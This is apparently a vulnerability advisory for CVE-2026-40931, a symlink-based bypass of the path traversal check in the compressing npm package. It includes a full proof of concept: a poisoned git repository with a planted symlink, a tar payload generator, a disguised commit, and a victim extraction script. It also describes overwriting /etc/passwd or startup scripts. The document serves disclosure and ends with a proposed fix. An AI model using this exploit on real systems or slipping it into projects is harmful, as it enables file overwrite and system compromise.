CVE-2026-40931

CVSS v3.1

8.4

High

AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

1. Executive Summary This report documents a critical security research finding in the compressing npm package (specifically tested on the latest v2.1.0). The core vulnerability is a Partial Fix Bypass of CVE-2026-24884.

The current patch relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).

Key Findings:

Vulnerable Component: lib/utils.js -> isPathWithinParent()
Flaw Type: Incomplete validation (lack of recursive lstat checks).
Primary Attack Vector: Supply Chain via Git Clone The attack requires zero victim interaction beyond standard developer workflow (git clone + node app.js). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.
Result: Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.

2. Deep-Dive: Technical Root Cause Analysis The vulnerability exists because of a fundamental disconnect between how the library validates a path and how the Operating System executes a write to that path.

1. Logical Abstraction (The "String" World) The developer uses path.resolve(childPath) to sanitize input. In Node.js, path.resolve is a literal string manipulator. It calculates an absolute path by processing .. and . segments relative to each other.
The Limitation: path.resolve does NOT look at the disk. It does not know if a folder named config is a real folder or a symbolic link.
The Result: If the extraction target is /app/out and the entry is config/passwd, path.resolve returns /app/out/config/passwd. Since this string starts with /app/out/, the security check returns TRUE.
2. Physical Reality (The "Filesystem" World) When the library proceeds to write the file using fs.writeFile('/app/out/config/passwd', data), the execution is handed over to the Operating System's filesystem kernel.
The Redirection: If the attacker has pre-created a symbolic link on the disk at /app/out/config pointing to /etc, the OS kernel sees the write request and follows the link.
The Divergence: The OS resolves the path to /etc/passwd. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area.
3. Visual Logic Flow
4. Comparison with Industry Standards (node-tar) A secure implementation (like node-tar) uses an "Atomic Check" strategy. Instead of trusting a string path, it iterates through every directory segment and calls fs.lstatSync(). If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. compressing lacks this critical recursive verification step.
5. Git Clone as a Delivery Mechanism: Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is "pre-planted" automatically by git itself, removing any prerequisite of prior system access.

3. Comprehensive Attack Vector & Proof of Concept

PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:

No social engineering required beyond a standard git clone.
The symlink is "pre-planted" by Git itself, removing the need for prior system access.
Victim's workflow remains indistinguishable from legitimate activity.

Step 1: Environment Preparation (Victim System)

TIP Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a MODULE NOT FOUND error for tar-stream or compressing, run: npm install compressing@2.1.0 tar-stream` in your current working directory.

Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.

# Workspace setup
mkdir -p ~/poc-workspace
cd ~/poc-workspace

# 1. Create a fake sensitive file
mkdir -p /tmp/fake root/etc
echo "root:SAFE DATA DO NOT OVERWRITE" > /tmp/fake root/etc/passwd

# 2. Install latest vulnerable library
npm install compressing@2.1.0 tar-stream

Step 2: Attacker Side (Repo & Payload)

2.1 Create the poisoned GitHub Repository

Create a repo named compressing poc test on GitHub.
On your local machine, setup the malicious content:

mkdir compressing poc test
cd compressing poc test
git init
# CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake root/etc/passwd config file
# Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing poc test.git

2.2 Generate the Malicious Payload Create a script gen payload.js inside the parent folder (~/poc-workspace) to generate the exploit file:

const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config file' }, 'root:PWNED BY THE SUPPLY CHAIN ATTACK V2.1.0
');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');

Run the script to create the payload:

node gen payload.js

This will create a payload.tar file in your current directory.

2.3 Push Bait & Payload to GitHub Now, move the generated payload into your repo folder and push everything to GitHub:

# Move the payload into the repo folder
mv ../payload.tar .
# Add all files (config file symlink and payload.tar)
git add .
git commit -m "Add project updates and resource assets"
git push -u origin main

For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing poc test.git

Step 3: Victim Side (The Compromise) The victim clones the repo and runs an application that extracts the included payload.tar.

# 1. Simulate a developer cloning the repo
cd ~/poc-workspace

# In a real attack, the victim clones from your GitHub URL
git clone https://github.com/USERNAME/compressing poc test.git victim app
cd victim app

# 2. Create the Trigger script (victim app.js)

cat <<EOF > victim app.js
const compressing = require('compressing');
async function extractUpdate() {
  console.log('--- Victim: Extracting Update Package ---');
  try {
    // This triggers the bypass because 'config file' already exists as a symlink
    await compressing.tar.uncompress('./payload.tar', './');
    console.log('[+] Update Successful!');
  } catch (err) {
    console.error('[-] Error:', err);
  }
}
extractUpdate();
EOF

# 3. VERIFY THE OVERWRITE
echo "--- Before Exploit ---"
cat /tmp/fake root/etc/passwd

# 4. Run the victim app.js
node victim app.js

# 5. After Exploit Run
echo "--- After Exploit ---"
cat /tmp/fake root/etc/passwd

Why this bypass works

The Library's Logic: compressing uses path.resolve on entry names and compares them string-wise with the destination directory.
The Gap: Because path.resolve does not check if intermediate directories are symlinks on disk, it treats config file (the symlink) as a normal path inside the allowed directory.
The Result: The underlying fs.writeFile follows the existing symlink to the protected target (/tmp/fake root/etc/passwd), bypassing all string-based security checks.

4. Impact Assessment

What kind of vulnerability is it? This is an Arbitrary File Overwrite vulnerability caused by a Symlink Path Traversal bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).

Who is impacted? 1. Developers & Organizations: Any user of the compressing library (up to v2.1.0) who extracts untrusted archives into a working directory.

2. Supply Chain via Git Clone (Primary Vector): Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.

3. Privileged Environments: Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like /etc/passwd or /etc/shadow.

Impact Details

Privilege Escalation: Gaining root access by overwriting system configuration files.
Remote Code Execution (RCE): Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.
Data Corruption: Permanent loss or modification of application data and database files.
Reputational Damage to Library: Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.

5. Technical Remediation & Proposed Fix To completely fix this vulnerability, the library must transition from String-based validation to State-aware validation.

1. The Vulnerable Code (Current Incomplete Patch) The current logic in lib/utils.js only checks the path string:

// [VULNERABLE] Does not check if disk segments are symlinks
function isPathWithinParent(childPath, parentPath) {
 const normalizedChild = path.resolve(childPath);
 const normalizedParent = path.resolve(parentPath);
 // ... (omitted startsWith check)
 return normalizedChild.startsWith(parentWithSep);
}

2. The Proposed Fix (Complete Mitigation) The library must recursively check every component of the path on the disk using fs.lstatSync to ensure no component is a symbolic link that redirects to a location outside the root.

const fs = require('fs');
const path = require('path');
/**
 * SECURE VALIDATION: Checks every segment of the path on disk
 * to prevent symlink-based directory poisoning.
 */
function secureIsPathWithinParent(childPath, parentPath) {
 const absoluteDest = path.resolve(parentPath);
 const absoluteChild = path.resolve(childPath);
 // Basic string check first
 if (!absoluteChild.startsWith(absoluteDest + path.sep) && 
   absoluteChild !== absoluteDest) {
  return false;
 }
 // RECURSIVE DISK CHECK
 // Iteratively check every directory segment from the root to the file
 let currentPath = absoluteDest;
 const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);
 for (const part of relativeParts) {
  if (!part || part === '.') continue;
  currentPath = path.join(currentPath, part);
  try {
   const stats = fs.lstatSync(currentPath);
   // IF ANY COMPONENT IS A SYMLINK, REJECT IT
   if (stats.isSymbolicLink()) {
    throw new Error(`Security Exception: Symlink detected at ${currentPath}`);
   }
  } catch (err) {
   if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine
   throw err;
  }
 }
 return true;
}

3. Why and How it works:

Filesystem Awareness: Unlike the previous fix, this code uses fs.lstatSync. It doesn't trust the string; it asks the Operating System, "What is actually at this location?".
Segmented Verification: By splitting the path and checking each part (config, then config/file), it catches the "Poisoned Directory" (config -> /etc) before the final write happens.
Bypass Prevention: Even if the string check passes, the loop will detect the symlink at the config segment and throw a security exception, stopping the fs.writeFile before it can follow the link to /etc/passwd.
Atomic Security: This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits.

Note: For production, it is recommended to use the asynchronous fs.promises.lstat to prevent blocking the Node.js event loop during recursive checks.

Fix

Link Following

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dbugs@ptsecurity.com

Weakness Enumeration

CWE-59

Related Identifiers

CVE-2026-40931

GHSA-4C3Q-X735-J3R5

Affected Products

Compressing

CVE-2026-40931

Weakness Enumeration

Related Identifiers

Affected Products

References · 3